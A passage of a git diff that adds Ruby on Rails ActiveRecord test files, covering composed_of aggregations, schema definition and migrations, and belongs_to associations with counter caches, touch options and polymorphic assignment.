+    assert_kind_of Fullname, customers(:barney).fullname
+  end
+
+  def test_custom_converter
+    customers(:barney).fullname = "Barnoit Gumbleau"
+    assert_equal "Barnoit GUMBLEAU", customers(:barney).fullname.to_s
+    assert_kind_of Fullname, customers(:barney).fullname
+  end
+
+  def test_assigning_hash_to_custom_converter
+    customers(:barney).fullname = { first: "Barney", last: "Stinson" }
+    assert_equal "Barney STINSON", customers(:barney).name
+  end
+
+  def test_assigning_hash_without_custom_converter
+    customers(:barney).fullname_no_converter = { first: "Barney", last: "Stinson" }
+    assert_equal({ first: "Barney", last: "Stinson" }.to_s, customers(:barney).name)
+  end
+end
+
+class OverridingAggregationsTest < ActiveRecord::TestCase
+  class DifferentName; end
+
+  class Person < ActiveRecord::Base
+    composed_of :composed_of, mapping: %w(person_first_name first_name)
+  end
+
+  class DifferentPerson < Person
+    composed_of :composed_of, class_name: "DifferentName", mapping: %w(different_person_first_name first_name)
+  end
+
+  def test_composed_of_aggregation_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal Person.reflect_on_aggregation(:composed_of),
+                     DifferentPerson.reflect_on_aggregation(:composed_of)
+  end
+end
diff --git a/activerecord/test/cases/ar_schema_test.rb b/activerecord/test/cases/ar_schema_test.rb
new file mode 100644
index 0000000000..83974f327e
--- /dev/null
+++ b/activerecord/test/cases/ar_schema_test.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ActiveRecordSchemaTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  setup do
+    @original_verbose = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.verbose = false
+    @connection = ActiveRecord::Base.connection
+    ActiveRecord::SchemaMigration.drop_table
+  end
+
+  teardown do
+    @connection.drop_table :fruits rescue nil
+    @connection.drop_table :nep_fruits rescue nil
+    @connection.drop_table :nep_schema_migrations rescue nil
+    @connection.drop_table :has_timestamps rescue nil
+    @connection.drop_table :multiple_indexes rescue nil
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    ActiveRecord::Migration.verbose = @original_verbose
+  end
+
+  def test_has_primary_key
+    old_primary_key_prefix_type = ActiveRecord::Base.primary_key_prefix_type
+    ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+    assert_equal "version", ActiveRecord::SchemaMigration.primary_key
+
+    ActiveRecord::SchemaMigration.create_table
+    assert_difference "ActiveRecord::SchemaMigration.count", 1 do
+      ActiveRecord::SchemaMigration.create version: 12
+    end
+  ensure
+    ActiveRecord::SchemaMigration.drop_table
+    ActiveRecord::Base.primary_key_prefix_type = old_primary_key_prefix_type
+  end
+
+  def test_schema_define
+    ActiveRecord::Schema.define(version: 7) do
+      create_table :fruits do |t|
+        t.column :color, :string
+        t.column :fruit_size, :string  # NOTE: "size" is reserved in Oracle
+        t.column :texture, :string
+        t.column :flavor, :string
+      end
+    end
+
+    assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
+    assert_nothing_raised { @connection.select_all "SELECT * FROM schema_migrations" }
+    assert_equal 7, ActiveRecord::Migrator::current_version
+  end
+
+  def test_schema_define_w_table_name_prefix
+    table_name = ActiveRecord::SchemaMigration.table_name
+    old_table_name_prefix = ActiveRecord::Base.table_name_prefix
+    ActiveRecord::Base.table_name_prefix = "nep_"
+    ActiveRecord::SchemaMigration.table_name = "nep_#{table_name}"
+    ActiveRecord::Schema.define(version: 7) do
+      create_table :fruits do |t|
+        t.column :color, :string
+        t.column :fruit_size, :string  # NOTE: "size" is reserved in Oracle
+        t.column :texture, :string
+        t.column :flavor, :string
+      end
+    end
+    assert_equal 7, ActiveRecord::Migrator::current_version
+  ensure
+    ActiveRecord::Base.table_name_prefix = old_table_name_prefix
+    ActiveRecord::SchemaMigration.table_name = table_name
+  end
+
+  def test_schema_raises_an_error_for_invalid_column_type
+    assert_raise NoMethodError do
+      ActiveRecord::Schema.define(version: 8) do
+        create_table :vegetables do |t|
+          t.unknown :color
+        end
+      end
+    end
+  end
+
+  def test_schema_subclass
+    Class.new(ActiveRecord::Schema).define(version: 9) do
+      create_table :fruits
+    end
+    assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
+  end
+
+  def test_normalize_version
+    assert_equal "118", ActiveRecord::SchemaMigration.normalize_migration_number("0000118")
+    assert_equal "002", ActiveRecord::SchemaMigration.normalize_migration_number("2")
+    assert_equal "017", ActiveRecord::SchemaMigration.normalize_migration_number("0017")
+    assert_equal "20131219224947", ActiveRecord::SchemaMigration.normalize_migration_number("20131219224947")
+  end
+
+  def test_schema_load_with_multiple_indexes_for_column_of_different_names
+    ActiveRecord::Schema.define do
+      create_table :multiple_indexes do |t|
+        t.string "foo"
+        t.index ["foo"], name: "multiple_indexes_foo_1"
+        t.index ["foo"], name: "multiple_indexes_foo_2"
+      end
+    end
+
+    indexes = @connection.indexes("multiple_indexes")
+
+    assert_equal 2, indexes.length
+    assert_equal ["multiple_indexes_foo_1", "multiple_indexes_foo_2"], indexes.collect(&:name).sort
+  end
+
+  def test_timestamps_without_null_set_null_to_false_on_create_table
+    ActiveRecord::Schema.define do
+      create_table :has_timestamps do |t|
+        t.timestamps
+      end
+    end
+
+    assert !@connection.columns(:has_timestamps).find { |c| c.name == "created_at" }.null
+    assert !@connection.columns(:has_timestamps).find { |c| c.name == "updated_at" }.null
+  end
+
+  def test_timestamps_without_null_set_null_to_false_on_change_table
+    ActiveRecord::Schema.define do
+      create_table :has_timestamps
+
+      change_table :has_timestamps do |t|
+        t.timestamps default: Time.now
+      end
+    end
+
+    assert !@connection.columns(:has_timestamps).find { |c| c.name == "created_at" }.null
+    assert !@connection.columns(:has_timestamps).find { |c| c.name == "updated_at" }.null
+  end
+
+  def test_timestamps_without_null_set_null_to_false_on_add_timestamps
+    ActiveRecord::Schema.define do
+      create_table :has_timestamps
+      add_timestamps :has_timestamps, default: Time.now
+    end
+
+    assert !@connection.columns(:has_timestamps).find { |c| c.name == "created_at" }.null
+    assert !@connection.columns(:has_timestamps).find { |c| c.name == "updated_at" }.null
+  end
+end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
new file mode 100644
index 0000000000..0f7a249bf3
--- /dev/null
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -0,0 +1,1196 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/project"
+require "models/company"
+require "models/topic"
+require "models/reply"
+require "models/computer"
+require "models/post"
+require "models/author"
+require "models/tag"
+require "models/tagging"
+require "models/comment"
+require "models/sponsor"
+require "models/member"
+require "models/essay"
+require "models/toy"
+require "models/invoice"
+require "models/line_item"
+require "models/column"
+require "models/record"
+require "models/admin"
+require "models/admin/user"
+require "models/ship"
+require "models/treasure"
+require "models/parrot"
+
+class BelongsToAssociationsTest < ActiveRecord::TestCase
+  fixtures :accounts, :companies, :developers, :projects, :topics,
+           :developers_projects, :computers, :authors, :author_addresses,
+           :posts, :tags, :taggings, :comments, :sponsors, :members
+
+  def test_belongs_to
+    firm = Client.find(3).firm
+    assert_not_nil firm
+    assert_equal companies(:first_firm).name, firm.name
+  end
+
+  def test_missing_attribute_error_is_raised_when_no_foreign_key_attribute
+    assert_raises(ActiveModel::MissingAttributeError) { Client.select(:id).first.firm }
+  end
+
+  def test_belongs_to_does_not_use_order_by
+    ActiveRecord::SQLCounter.clear_log
+    Client.find(3).firm
+  ensure
+    assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, "ORDER BY was used in the query"
+  end
+
+  def test_belongs_to_with_primary_key
+    client = Client.create(name: "Primary key client", firm_name: companies(:first_firm).name)
+    assert_equal companies(:first_firm).name, client.firm_with_primary_key.name
+  end
+
+  def test_belongs_to_with_primary_key_joins_on_correct_column
+    sql = Client.joins(:firm_with_primary_key).to_sql
+    if current_adapter?(:Mysql2Adapter)
+      assert_no_match(/`firm_with_primary_keys_companies`\.`id`/, sql)
+      assert_match(/`firm_with_primary_keys_companies`\.`name`/, sql)
+    elsif current_adapter?(:OracleAdapter)
+      # on Oracle aliases are truncated to 30 characters and are quoted in uppercase
+      assert_no_match(/"firm_with_primary_keys_compani"\."id"/i, sql)
+      assert_match(/"firm_with_primary_keys_compani"\."name"/i, sql)
+    else
+      assert_no_match(/"firm_with_primary_keys_companies"\."id"/, sql)
+      assert_match(/"firm_with_primary_keys_companies"\."name"/, sql)
+    end
+  end
+
+  def test_optional_relation
+    original_value = ActiveRecord::Base.belongs_to_required_by_default
+    ActiveRecord::Base.belongs_to_required_by_default = true
+
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "accounts"
+      def self.name; "Temp"; end
+      belongs_to :company, optional: true
+    end
+
+    account = model.new
+    assert account.valid?
+  ensure
+    ActiveRecord::Base.belongs_to_required_by_default = original_value
+  end
+
+  def test_not_optional_relation
+    original_value = ActiveRecord::Base.belongs_to_required_by_default
+    ActiveRecord::Base.belongs_to_required_by_default = true
+
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "accounts"
+      def self.name; "Temp"; end
+      belongs_to :company, optional: false
+    end
+
+    account = model.new
+    assert_not account.valid?
+    assert_equal [{ error: :blank }], account.errors.details[:company]
+  ensure
+    ActiveRecord::Base.belongs_to_required_by_default = original_value
+  end
+
+  def test_required_belongs_to_config
+    original_value = ActiveRecord::Base.belongs_to_required_by_default
+    ActiveRecord::Base.belongs_to_required_by_default = true
+
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "accounts"
+      def self.name; "Temp"; end
+      belongs_to :company
+    end
+
+    account = model.new
+    assert_not account.valid?
+    assert_equal [{ error: :blank }], account.errors.details[:company]
+  ensure
+    ActiveRecord::Base.belongs_to_required_by_default = original_value
+  end
+
+  def test_default
+    david = developers(:david)
+    jamis = developers(:jamis)
+
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "ships"
+      def self.name; "Temp"; end
+      belongs_to :developer, default: -> { david }
+    end
+
+    ship = model.create!
+    assert_equal david, ship.developer
+
+    ship = model.create!(developer: jamis)
+    assert_equal jamis, ship.developer
+
+    ship.update!(developer: nil)
+    assert_equal david, ship.developer
+  end
+
+  def test_default_with_lambda
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "ships"
+      def self.name; "Temp"; end
+      belongs_to :developer, default: -> { default_developer }
+
+      def default_developer
+        Developer.first
+      end
+    end
+
+    ship = model.create!
+    assert_equal developers(:david), ship.developer
+
+    ship = model.create!(developer: developers(:jamis))
+    assert_equal developers(:jamis), ship.developer
+  end
+
+  def test_default_scope_on_relations_is_not_cached
+    counter = 0
+
+    comments = Class.new(ActiveRecord::Base) {
+      self.table_name = "comments"
+      self.inheritance_column = "not_there"
+
+      posts = Class.new(ActiveRecord::Base) {
+        self.table_name = "posts"
+        self.inheritance_column = "not_there"
+
+        default_scope -> {
+          counter += 1
+          where("id = :inc", inc: counter)
+        }
+
+        has_many :comments, anonymous_class: comments
+      }
+      belongs_to :post, anonymous_class: posts, inverse_of: false
+    }
+
+    assert_equal 0, counter
+    comment = comments.first
+    assert_equal 0, counter
+    sql = capture_sql { comment.post }
+    comment.reload
+    assert_not_equal sql, capture_sql { comment.post }
+  end
+
+  def test_proxy_assignment
+    account = Account.find(1)
+    assert_nothing_raised { account.firm = account.firm }
+  end
+
+  def test_type_mismatch
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { Account.find(1).firm = 1 }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { Account.find(1).firm = Project.find(1) }
+  end
+
+  def test_raises_type_mismatch_with_namespaced_class
+    assert_nil defined?(Region), "This test requires that there is no top-level Region class"
+
+    ActiveRecord::Base.connection.instance_eval do
+      create_table(:admin_regions) { |t| t.string :name }
+      add_column :admin_users, :region_id, :integer
+    end
+    Admin.const_set "RegionalUser", Class.new(Admin::User) { belongs_to(:region) }
+    Admin.const_set "Region", Class.new(ActiveRecord::Base)
+
+    e = assert_raise(ActiveRecord::AssociationTypeMismatch) {
+      Admin::RegionalUser.new(region: "wrong value")
+    }
+    assert_match(/^Region\([^)]+\) expected, got "wrong value" which is an instance of String\([^)]+\)$/, e.message)
+  ensure
+    Admin.send :remove_const, "Region" if Admin.const_defined?("Region")
+    Admin.send :remove_const, "RegionalUser" if Admin.const_defined?("RegionalUser")
+
+    ActiveRecord::Base.connection.instance_eval do
+      remove_column :admin_users, :region_id if column_exists?(:admin_users, :region_id)
+      drop_table :admin_regions, if_exists: true
+    end
+
+    Admin::User.reset_column_information
+  end
+
+  def test_natural_assignment
+    apple = Firm.create("name" => "Apple")
+    citibank = Account.create("credit_limit" => 10)
+    citibank.firm = apple
+    assert_equal apple.id, citibank.firm_id
+  end
+
+  def test_id_assignment
+    apple = Firm.create("name" => "Apple")
+    citibank = Account.create("credit_limit" => 10)
+    citibank.firm_id = apple
+    assert_nil citibank.firm_id
+  end
+
+  def test_natural_assignment_with_primary_key
+    apple = Firm.create("name" => "Apple")
+    citibank = Client.create("name" => "Primary key client")
+    citibank.firm_with_primary_key = apple
+    assert_equal apple.name, citibank.firm_name
+  end
+
+  def test_eager_loading_with_primary_key
+    Firm.create("name" => "Apple")
+    Client.create("name" => "Citibank", :firm_name => "Apple")
+    citibank_result = Client.all.merge!(where: { name: "Citibank" }, includes: :firm_with_primary_key).first
+    assert citibank_result.association(:firm_with_primary_key).loaded?
+  end
+
+  def test_eager_loading_with_primary_key_as_symbol
+    Firm.create("name" => "Apple")
+    Client.create("name" => "Citibank", :firm_name => "Apple")
+    citibank_result = Client.all.merge!(where: { name: "Citibank" }, includes: :firm_with_primary_key_symbols).first
+    assert citibank_result.association(:firm_with_primary_key_symbols).loaded?
+  end
+
+  def test_creating_the_belonging_object
+    citibank = Account.create("credit_limit" => 10)
+    apple    = citibank.create_firm("name" => "Apple")
+    assert_equal apple, citibank.firm
+    citibank.save
+    citibank.reload
+    assert_equal apple, citibank.firm
+  end
+
+  def test_creating_the_belonging_object_with_primary_key
+    client = Client.create(name: "Primary key client")
+    apple  = client.create_firm_with_primary_key("name" => "Apple")
+    assert_equal apple, client.firm_with_primary_key
+    client.save
+    client.reload
+    assert_equal apple, client.firm_with_primary_key
+  end
+
+  def test_building_the_belonging_object
+    citibank = Account.create("credit_limit" => 10)
+    apple    = citibank.build_firm("name" => "Apple")
+    citibank.save
+    assert_equal apple.id, citibank.firm_id
+  end
+
+  def test_building_the_belonging_object_with_implicit_sti_base_class
+    account = Account.new
+    company = account.build_firm
+    assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+  end
+
+  def test_building_the_belonging_object_with_explicit_sti_base_class
+    account = Account.new
+    company = account.build_firm(type: "Company")
+    assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+  end
+
+  def test_building_the_belonging_object_with_sti_subclass
+    account = Account.new
+    company = account.build_firm(type: "Firm")
+    assert_kind_of Firm, company, "Expected #{company.class} to be a Firm"
+  end
+
+  def test_building_the_belonging_object_with_an_invalid_type
+    account = Account.new
+    assert_raise(ActiveRecord::SubclassNotFound) { account.build_firm(type: "InvalidType") }
+  end
+
+  def test_building_the_belonging_object_with_an_unrelated_type
+    account = Account.new
+    assert_raise(ActiveRecord::SubclassNotFound) { account.build_firm(type: "Account") }
+  end
+
+  def test_building_the_belonging_object_with_primary_key
+    client = Client.create(name: "Primary key client")
+    apple  = client.build_firm_with_primary_key("name" => "Apple")
+    client.save
+    assert_equal apple.name, client.firm_name
+  end
+
+  def test_create!
+    client  = Client.create!(name: "Jimmy")
+    account = client.create_account!(credit_limit: 10)
+    assert_equal account, client.account
+    assert account.persisted?
+    client.save
+    client.reload
+    assert_equal account, client.account
+  end
+
+  def test_failing_create!
+    client = Client.create!(name: "Jimmy")
+    assert_raise(ActiveRecord::RecordInvalid) { client.create_account! }
+    assert_not_nil client.account
+    assert client.account.new_record?
+  end
+
+  def test_reloading_the_belonging_object
+    odegy_account = accounts(:odegy_account)
+
+    assert_equal "Odegy", odegy_account.firm.name
+    Company.where(id: odegy_account.firm_id).update_all(name: "ODEGY")
+    assert_equal "Odegy", odegy_account.firm.name
+
+    assert_equal "ODEGY", odegy_account.reload_firm.name
+  end
+
+  def test_natural_assignment_to_nil
+    client = Client.find(3)
+    client.firm = nil
+    client.save
+    client.association(:firm).reload
+    assert_nil client.firm
+    assert_nil client.client_of
+  end
+
+  def test_natural_assignment_to_nil_with_primary_key
+    client = Client.create(name: "Primary key client", firm_name: companies(:first_firm).name)
+    client.firm_with_primary_key = nil
+    client.save
+    client.association(:firm_with_primary_key).reload
+    assert_nil client.firm_with_primary_key
+    assert_nil client.client_of
+  end
+
+  def test_with_different_class_name
+    assert_equal Company.find(1).name, Company.find(3).firm_with_other_name.name
+    assert_not_nil Company.find(3).firm_with_other_name, "Microsoft should have a firm"
+  end
+
+  def test_with_condition
+    assert_equal Company.find(1).name, Company.find(3).firm_with_condition.name
+    assert_not_nil Company.find(3).firm_with_condition, "Microsoft should have a firm"
+  end
+
+  def test_polymorphic_association_class
+    sponsor = Sponsor.new
+    assert_nil sponsor.association(:sponsorable).send(:klass)
+    sponsor.association(:sponsorable).reload
+    assert_nil sponsor.sponsorable
+
+    sponsor.sponsorable_type = "" # the column doesn't have to be declared NOT NULL
+    assert_nil sponsor.association(:sponsorable).send(:klass)
+    sponsor.association(:sponsorable).reload
+    assert_nil sponsor.sponsorable
+
+    sponsor.sponsorable = Member.new name: "Bert"
+    assert_equal Member, sponsor.association(:sponsorable).send(:klass)
+  end
+
+  def test_with_polymorphic_and_condition
+    sponsor = Sponsor.create
+    member = Member.create name: "Bert"
+    sponsor.sponsorable = member
+
+    assert_equal member, sponsor.sponsorable
+    assert_nil sponsor.sponsorable_with_conditions
+  end
+
+  def test_with_select
+    assert_equal 1, Company.find(2).firm_with_select.attributes.size
+    assert_equal 1, Company.all.merge!(includes: :firm_with_select).find(2).firm_with_select.attributes.size
+  end
+
+  def test_belongs_to_without_counter_cache_option
+    # Ship has a conventionally named `treasures_count` column, but the counter_cache
+    # option is not given on the association.
+    ship = Ship.create(name: "Countless")
+
+    assert_no_difference lambda { ship.reload.treasures_count }, "treasures_count should not be changed unless counter_cache is given on the relation" do
+      treasure = Treasure.new(name: "Gold", ship: ship)
+      treasure.save
+    end
+
+    assert_no_difference lambda { ship.reload.treasures_count }, "treasures_count should not be changed unless counter_cache is given on the relation" do
+      treasure = ship.treasures.first
+      treasure.destroy
+    end
+  end
+
+  def test_belongs_to_counter
+    debate = Topic.create("title" => "debate")
+    assert_equal 0, debate.read_attribute("replies_count"), "No replies yet"
+
+    trash = debate.replies.create("title" => "blah!", "content" => "world around!")
+    assert_equal 1, Topic.find(debate.id).read_attribute("replies_count"), "First reply created"
+
+    trash.destroy
+    assert_equal 0, Topic.find(debate.id).read_attribute("replies_count"), "First reply deleted"
+  end
+
+  def test_belongs_to_counter_with_assigning_nil
+    post = Post.find(1)
+    comment = Comment.find(1)
+
+    assert_equal post.id, comment.post_id
+    assert_equal 2, Post.find(post.id).comments.size
+
+    comment.post = nil
+
+    assert_equal 1, Post.find(post.id).comments.size
+  end
+
+  def test_belongs_to_with_primary_key_counter
+    debate  = Topic.create("title" => "debate")
+    debate2 = Topic.create("title" => "debate2")
+    reply   = Reply.create("title" => "blah!", "content" => "world around!", "parent_title" => "debate")
+
+    assert_equal 1, debate.reload.replies_count
+    assert_equal 0, debate2.reload.replies_count
+
+    reply.topic_with_primary_key = debate2
+
+    assert_equal 0, debate.reload.replies_count
+    assert_equal 1, debate2.reload.replies_count
+
+    reply.topic_with_primary_key = nil
+
+    assert_equal 0, debate.reload.replies_count
+    assert_equal 0, debate2.reload.replies_count
+  end
+
+  def test_belongs_to_counter_with_reassigning
+    topic1 = Topic.create("title" => "t1")
+    topic2 = Topic.create("title" => "t2")
+    reply1 = Reply.new("title" => "r1", "content" => "r1")
+    reply1.topic = topic1
+
+    assert reply1.save
+    assert_equal 1, Topic.find(topic1.id).replies.size
+    assert_equal 0, Topic.find(topic2.id).replies.size
+
+    reply1.topic = Topic.find(topic2.id)
+
+    assert_no_queries do
+      reply1.topic = topic2
+    end
+
+    assert reply1.save
+    assert_equal 0, Topic.find(topic1.id).replies.size
+    assert_equal 1, Topic.find(topic2.id).replies.size
+
+    reply1.topic = nil
+
+    assert_equal 0, Topic.find(topic1.id).replies.size
+    assert_equal 0, Topic.find(topic2.id).replies.size
+
+    reply1.topic = topic1
+
+    assert_equal 1, Topic.find(topic1.id).replies.size
+    assert_equal 0, Topic.find(topic2.id).replies.size
+
+    reply1.destroy
+
+    assert_equal 0, Topic.find(topic1.id).replies.size
+    assert_equal 0, Topic.find(topic2.id).replies.size
+  end
+
+  def test_belongs_to_reassign_with_namespaced_models_and_counters
+    topic1 = Web::Topic.create("title" => "t1")
+    topic2 = Web::Topic.create("title" => "t2")
+    reply1 = Web::Reply.new("title" => "r1", "content" => "r1")
+    reply1.topic = topic1
+
+    assert reply1.save
+    assert_equal 1, Web::Topic.find(topic1.id).replies.size
+    assert_equal 0, Web::Topic.find(topic2.id).replies.size
+
+    reply1.topic = Web::Topic.find(topic2.id)
+
+    assert reply1.save
+    assert_equal 0, Web::Topic.find(topic1.id).replies.size
+    assert_equal 1, Web::Topic.find(topic2.id).replies.size
+  end
+
+  def test_belongs_to_counter_after_save
+    topic = Topic.create!(title: "monday night")
+    topic.replies.create!(title: "re: monday night", content: "football")
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+
+    topic.save!
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+  end
+
+  def test_belongs_to_with_touch_option_on_touch
+    line_item = LineItem.create!
+    Invoice.create!(line_items: [line_item])
+
+    assert_queries(1) { line_item.touch }
+  end
+
+  def test_belongs_to_with_touch_on_multiple_records
+    line_item = LineItem.create!(amount: 1)
+    line_item2 = LineItem.create!(amount: 2)
+    Invoice.create!(line_items: [line_item, line_item2])
+
+    assert_queries(1) do
+      LineItem.transaction do
+        line_item.touch
+        line_item2.touch
+      end
+    end
+
+    assert_queries(2) do
+      line_item.touch
+      line_item2.touch
+    end
+  end
+
+  def test_belongs_to_with_touch_option_on_touch_without_updated_at_attributes
+    assert_not LineItem.column_names.include?("updated_at")
+
+    line_item = LineItem.create!
+    invoice = Invoice.create!(line_items: [line_item])
+    initial = invoice.updated_at
+    travel(1.second) do
+      line_item.touch
+    end
+
+    assert_not_equal initial, invoice.reload.updated_at
+  end
+
+  def test_belongs_to_with_touch_option_on_touch_and_removed_parent
+    line_item = LineItem.create!
+    Invoice.create!(line_items: [line_item])
+
+    line_item.invoice = nil
+
+    assert_queries(2) { line_item.touch }
+  end
+
+  def test_belongs_to_with_touch_option_on_update
+    line_item = LineItem.create!
+    Invoice.create!(line_items: [line_item])
+
+    assert_queries(2) { line_item.update amount: 10 }
+  end
+
+  def test_belongs_to_with_touch_option_on_empty_update
+    line_item = LineItem.create!
+    Invoice.create!(line_items: [line_item])
+
+    assert_queries(0) { line_item.save }
+  end
+
+  def test_belongs_to_with_touch_option_on_destroy
+    line_item = LineItem.create!
+    Invoice.create!(line_items: [line_item])
+
+    assert_queries(2) { line_item.destroy }
+  end
+
+  def test_belongs_to_with_touch_option_on_destroy_with_destroyed_parent
+    line_item = LineItem.create!
+    invoice   = Invoice.create!(line_items: [line_item])
+    invoice.destroy
+
+    assert_queries(1) { line_item.destroy }
+  end
+
+  def test_belongs_to_with_touch_option_on_touch_and_reassigned_parent
+    line_item = LineItem.create!
+    Invoice.create!(line_items: [line_item])
+
+    line_item.invoice = Invoice.create!
+
+    assert_queries(3) { line_item.touch }
+  end
+
+  def test_belongs_to_counter_after_update
+    topic = Topic.create!(title: "37s")
+    topic.replies.create!(title: "re: 37s", content: "rails")
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+
+    topic.update(title: "37signals")
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+  end
+
+  def test_belongs_to_counter_when_update_columns
+    topic = Topic.create!(title: "37s")
+    topic.replies.create!(title: "re: 37s", content: "rails")
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+
+    topic.update_columns(content: "rails is wonderful")
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+  end
+
+  def test_assignment_before_child_saved
+    final_cut = Client.new("name" => "Final Cut")
+    firm = Firm.find(1)
+    final_cut.firm = firm
+    assert !final_cut.persisted?
+    assert final_cut.save
+    assert final_cut.persisted?
+    assert firm.persisted?
+    assert_equal firm, final_cut.firm
+    final_cut.association(:firm).reload
+    assert_equal firm, final_cut.firm
+  end
+
+  def test_assignment_before_child_saved_with_primary_key
+    final_cut = Client.new("name" => "Final Cut")
+    firm = Firm.find(1)
+    final_cut.firm_with_primary_key = firm
+    assert !final_cut.persisted?
+    assert final_cut.save
+    assert final_cut.persisted?
+    assert firm.persisted?
+    assert_equal firm, final_cut.firm_with_primary_key
+    final_cut.association(:firm_with_primary_key).reload
+    assert_equal firm, final_cut.firm_with_primary_key
+  end
+
+  def test_new_record_with_foreign_key_but_no_object
+    client = Client.new("firm_id" => 1)
+    assert_equal Firm.first, client.firm_with_basic_id
+  end
+
+  def test_setting_foreign_key_after_nil_target_loaded
+    client = Client.new
+    client.firm_with_basic_id
+    client.firm_id = 1
+
+    assert_equal companies(:first_firm), client.firm_with_basic_id
+  end
+
+  def test_polymorphic_setting_foreign_key_after_nil_target_loaded
+    sponsor = Sponsor.new
+    sponsor.sponsorable
+    sponsor.sponsorable_id = 1
+    sponsor.sponsorable_type = "Member"
+
+    assert_equal members(:groucho), sponsor.sponsorable
+  end
+
+  def test_dont_find_target_when_foreign_key_is_null
+    tagging = taggings(:thinking_general)
+    assert_queries(0) { tagging.super_tag }
+  end
+
+  def test_dont_find_target_when_saving_foreign_key_after_stale_association_loaded
+    client = Client.create!(name: "Test client", firm_with_basic_id: Firm.find(1))
+    client.firm_id = Firm.create!(name: "Test firm").id
+    assert_queries(1) { client.save! }
+  end
+
+  def test_field_name_same_as_foreign_key
+    computer = Computer.find(1)
+    assert_not_nil computer.developer, ":foreign key == attribute didn't lock up" # '
+  end
+
+  def test_counter_cache
+    topic = Topic.create title: "Zoom-zoom-zoom"
+    assert_equal 0, topic[:replies_count]
+
+    reply = Reply.create(title: "re: zoom", content: "speedy quick!")
+    reply.topic = topic
+
+    assert_equal 1, topic.reload[:replies_count]
+    assert_equal 1, topic.replies.size
+
+    topic[:replies_count] = 15
+    assert_equal 15, topic.replies.size
+  end
+
+  def test_counter_cache_double_destroy
+    topic = Topic.create title: "Zoom-zoom-zoom"
+
+    5.times do
+      topic.replies.create(title: "re: zoom", content: "speedy quick!")
+    end
+
+    assert_equal 5, topic.reload[:replies_count]
+    assert_equal 5, topic.replies.size
+
+    reply = topic.replies.first
+
+    reply.destroy
+    assert_equal 4, topic.reload[:replies_count]
+
+    reply.destroy
+    assert_equal 4, topic.reload[:replies_count]
+    assert_equal 4, topic.replies.size
+  end
+
+  def test_concurrent_counter_cache_double_destroy
+    topic = Topic.create title: "Zoom-zoom-zoom"
+
+    5.times do
+      topic.replies.create(title: "re: zoom", content: "speedy quick!")
+    end
+
+    assert_equal 5, topic.reload[:replies_count]
+    assert_equal 5, topic.replies.size
+
+    reply = topic.replies.first
+    reply_clone = Reply.find(reply.id)
+
+    reply.destroy
+    assert_equal 4, topic.reload[:replies_count]
+
+    reply_clone.destroy
+    assert_equal 4, topic.reload[:replies_count]
+    assert_equal 4, topic.replies.size
+  end
+
+  def test_custom_counter_cache
+    reply = Reply.create(title: "re: zoom", content: "speedy quick!")
+    assert_equal 0, reply[:replies_count]
+
+    silly = SillyReply.create(title: "gaga", content: "boo-boo")
+    silly.reply = reply
+
+    assert_equal 1, reply.reload[:replies_count]
+    assert_equal 1, reply.replies.size
+
+    reply[:replies_count] = 17
+    assert_equal 17, reply.replies.size
+  end
+
+  def test_replace_counter_cache
+    topic = Topic.create(title: "Zoom-zoom-zoom")
+    reply = Reply.create(title: "re: zoom", content: "speedy quick!")
+
+    reply.topic = topic
+    reply.save
+    topic.reload
+
+    assert_equal 1, topic.replies_count
+  end
+
+  def test_association_assignment_sticks
+    post = Post.first
+
+    author1, author2 = Author.all.merge!(limit: 2).to_a
+    assert_not_nil author1
+    assert_not_nil author2
+
+    # make sure the association is loaded
+    post.author
+
+    # set the association by id, directly
+    post.author_id = author2.id
+
+    # save and reload
+    post.save!
+    post.reload
+
+    # the author id of the post should be the id we set
+    assert_equal post.author_id, author2.id
+  end
+
+  def test_cant_save_readonly_association
+    assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_client).readonly_firm.save! }
+    assert companies(:first_client).readonly_firm.readonly?
+  end
+
+  def test_polymorphic_assignment_foreign_key_type_string
+    comment = Comment.first
+    comment.author   = Author.first
+    comment.resource = Member.first
+    comment.save
+
+    assert_equal Comment.all.to_a,
+      Comment.includes(:author).to_a
+
+    assert_equal Comment.all.to_a,
+      Comment.includes(:resource).to_a
+  end
+
+  def test_polymorphic_assignment_foreign_type_field_updating
+    # should update when assigning a saved record
+    sponsor = Sponsor.new
+    member = Member.create
+    sponsor.sponsorable = member
+    assert_equal "Member", sponsor.sponsorable_type
+
+    # should update when assigning a new record
+    sponsor = Sponsor.new
+    member = Member.new
+    sponsor.sponsorable = member
+    assert_equal "Member", sponsor.sponsorable_type
+  end
+
+  def test_polymorphic_assignment_with_primary_key_foreign_type_field_updating
+    # should update when assigning a saved record
+    essay = Essay.new
+    writer = Author.create(name: "David")
+    essay.writer = writer
+    assert_equal "Author", essay.writer_type
+
+    # should update when assigning a new record
+    essay = Essay.new
+    writer = Author.new
+    essay.writer = writer
+    assert_equal "Author", essay.writer_type
+  end
+
+  def test_polymorphic_assignment_updates_foreign_id_field_for_new_and_saved_records
+    sponsor = Sponsor.new
+    saved_member = Member.create
